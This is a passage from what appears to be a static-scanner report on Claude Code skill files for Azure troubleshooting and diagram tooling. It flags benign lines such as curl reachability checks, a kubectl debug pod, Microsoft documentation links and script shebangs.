    # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 135
    https_result() {     if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 136
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 138
    if probe_tcp "$FQDN" 443; then             echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 139
    echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 144
    fi     local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 145
    local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)     local rc=$?
  • Network accessline 146
    code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 149
    echo "reachable (HTTP $code)"     else         echo "BLOCKED (curl exit $rc)"
  • Network accessline 150
    else         echo "BLOCKED (curl exit $rc)"     fi
  • Network accessline 151
    echo "BLOCKED (curl exit $rc)"

harness/claude-code/skills/azure-diagnostics/troubleshooting/aks/networking.md

  • Network accessline 3
    For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network).
  • Network accessline 15
    # This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 16
    # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \   curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
  • Network accessline 17
    kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 18
    curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz

harness/claude-code/skills/azure-diagnostics/troubleshooting/aks/node-issues.md

  • Network accessline 97
    See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.

harness/claude-code/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md

  • Network accessline 64
    Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md

  • Network accessline 48
    [Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 49
    [Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 50
    [Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows
  • Network accessline 51
    [Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md

  • Dangerous shell operationline 16
    | sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] |
  • Network accessline 33
    [Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp
  • Network accessline 34
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 35
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 36
    [CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation
  • Network accessline 37
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 38
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md

  • Network accessline 36
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 37
    [Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os
  • Network accessline 38
    [Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows
  • Network accessline 39
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 40
    [Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md

  • Network accessline 36
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 37
    [Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem
  • Network accessline 38
    [Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem
  • Network accessline 39
    [Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses
  • Network accessline 40
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
  • Network accessline 41
    [Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface
  • Network accessline 42
    [DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled
  • Network accessline 43
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md

  • Network accessline 34
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 35
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 36
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 37
    [Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error
  • Network accessline 38
    [General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error
  • Network accessline 39
    [Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp
  • Network accessline 40
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 41
    [Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton
  • Network accessline 42
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md

  • Network accessline 7
    | Symptom                                | Solution                                                               | Documentation                                                                                                               
  • Network accessline 8
    | -------------------------------------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------
  • Network accessline 9
    | TermService not running                | Start the service and set to Automatic                                 | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 10
    | RDP port changed from 3389             | Reset port or update NSG to allow the custom port                      | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 11
    | RDP disabled (fDenyTSConnections = 1)  | Reset RDP config via CLI or Portal                                     | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 12
    | TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate                      | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal
  • Network accessline 13
    | NLA/Security Layer mismatch            | Temporarily disable NLA for recovery                                   | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e
  • Network accessline 14
    | GPO overriding local RDP settings      | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 15
    | RDS licensing expired                  | Remove RDSH role or configure license server                           | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md

  • Network accessline 34
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 35
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 36
    [Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux
  • Network accessline 37
    [SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting
  • Network accessline 38
    [UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures

harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md

  • Network accessline 9
    | Symptom                                                          | OS      | Solution                                                 | Documentation                                                                                         
  • Network accessline 10
    | ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------
  • Network accessline 11
    | Run Command times out                                            | Windows | VM agent may be down — use Serial Console instead        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
  • Network accessline 12
    | Run Command times out                                            | Linux   | VM agent may be down — use Serial Console instead        | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s
  • Network accessline 13
    | Password reset fails via Portal/CLI                              | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w
  • Network accessline 14
    | Password/key reset fails via Portal/CLI                          | Linux   | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/
  • Network accessline 15
    | VM not booting (Boot Diagnostics shows BSOD/stuck)               | Windows | OS-level issue — use repair VM for offline fix           | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa
  • Network accessline 16
    | VM not booting (Boot Diagnostics shows kernel panic/stuck)       | Linux   | Use repair VM for offline Linux disk fix                 | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l
  • Network accessline 17
    | VMAccess extension error on domain controller                    | Windows | VMAccess doesn't support DCs — use Serial Console        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A
  • Network accessline 27
    Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples).
  • Network accessline 31
    - **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error
  • Network accessline 32
    - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith
  • Network accessline 33
    - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md

  • Network accessline 3
    Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu
  • Network accessline 5
    > ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview).
  • Network accessline 29
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md

  • Network accessline 3
    Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md

  • Network accessline 3
    Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic
  • Network accessline 12
    | `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual 
  • Network accessline 13
    | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser
  • Network accessline 14
    | `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md

  • Network accessline 3
    Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv
  • Network accessline 30
    Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei
  • Network accessline 45
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md

  • Network accessline 3
    Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md

  • Network accessline 3
    Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser

harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md

  • Network accessline 9
    1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 10
    2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 80
    - [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide)
  • Network accessline 81
    - [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide)
  • Network accessline 82
    - [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas)
  • Network accessline 83
    - [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas)
  • Network accessline 84
    - [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot)
  • Network accessline 85
    - [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot)
  • Network accessline 86
    - [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow)
  • Network accessline 87
    - [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)

harness/claude-code/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md

  • Network accessline 5
    Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).

harness/claude-code/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md

  • Network accessline 133
    iconProvider="azure"         iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 134
    iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"         iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 135
    iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 136
    iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"

harness/claude-code/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md

  • Network accessline 20
    | Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu
  • Network accessline 21
    | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra
  • Network accessline 22
    | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or 
  • Network accessline 23
    | Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co
  • Network accessline 24
    | Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact
  • Network accessline 25
    | Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen
  • Network accessline 26
    | Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac
  • Network accessline 27
    | Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb
  • Network accessline 28
    | General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t
  • Network accessline 29
    | GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s
  • Network accessline 30
    | GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us
  • Network accessline 31
    | GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n

harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/README.md

  • Network accessline 61
    python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg    "Azure Key Vault" 320 180    --provider azure    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/
  • Network accessline 62
    "Azure Key Vault" 320 180 \   --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 63
    --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \   --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 64
    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 65
    --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \

harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/add-icon.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 91
    return base64.b64decode(

harness/claude-code/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md

  • Network accessline 8
    | **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG
  • Network accessline 9
    | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://
  • Network accessline 10
    | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/claude-code/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md

  • Network accessline 32
    |-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif
  • Network accessline 33
    | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se
  • Network accessline 34
    | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su
  • Network accessline 13
    | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic
  • Network accessline 14
    | ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse
  • Network accessline 15
    | AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea
  • Network accessline 17
    | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m
  • Network accessline 18
    | App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule
  • Network accessline 19
    | Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules]
  • Network accessline 20
    | Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme
  • Network accessline 21
    | Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr
  • Network accessline 22
    | Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht
  • Network accessline 23
    | Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi
  • Network accessline 15
    | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules](
  • Network accessline 16
    | Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | 
  • Network accessline 17
    | Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam
  • Network accessline 18
    | Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules](
  • Network accessline 19
